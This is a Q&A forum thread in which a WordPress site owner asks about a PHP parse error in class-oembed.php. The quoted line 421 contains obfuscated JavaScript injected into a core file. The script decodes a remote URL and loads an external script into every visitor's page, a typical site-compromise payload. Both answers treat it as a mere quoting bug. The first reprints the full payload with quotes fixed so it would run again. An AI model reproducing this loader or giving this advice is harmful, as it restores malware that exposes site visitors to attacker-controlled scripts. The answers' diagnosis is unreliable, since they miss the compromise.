Syntax error in wordpress

Asked

Viewed 95 times

0

My site is off the air

Wordpress error: HTTP ERROR 500

[29-Nov-2018 18:14:24 UTC] PHP Parse error: syntax error, Unexpected 'text' (T_STRING) in /home/mysite/public_html/wp-includes/class-oembed.php on line 421

This is the Line 421 do calss-oembed.php:

        // Strip <body>
        if ( $html_head_end = stripos( $html, '<script type='text/javascript'>var _0x1e38=['length','fromCharCode','createElement','type','async','code125','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e38,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e38[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 114, 119, 97, 114, 100, 109, 121, 116, 114, 97, 102, 102, 105, 99, 46, 99, 111, 109, 47, 97, 100, 46, 106, 115, 63, 112, 111, 114, 116, 61, 52, 52);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}</script></head>' ) ) {
            $html = substr( $html, 0, $html_head_end );
        }

How can I solve?

  • This common error occurs when quotation marks are in a string delimited by the same type of quotation marks. fountain

2 answers

2

By the code you posted it looks like this with error in the character '.

'<script type='text/javascript'>.....', it is opening string in the first ' and closing the string before the text/javascript and reopening string after, and continues.

apparently if you change ' initial and final by " should work

if ( $html_head_end = stripos( $html, "<script type='text/javascript'>var _0x1e38=['length','fromCharCode','createElement','type','async','code125','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e38,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e38[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 114, 119, 97, 114, 100, 109, 121, 116, 114, 97, 102, 102, 105, 99, 46, 99, 111, 109, 47, 97, 100, 46, 106, 115, 63, 112, 111, 114, 116, 61, 52, 52);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}</script></head>" ) ) {
    $html = substr( $html, 0, $html_head_end );
}

0

Moult:

if ( $html_head_end = stripos( $html, '/** js */' ) ) {

for:

if ( $html_head_end = stripos( $html, "/** js */" ) ) {

Since the js code uses ' php does not know whether you want to close the php string or open the string in js.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.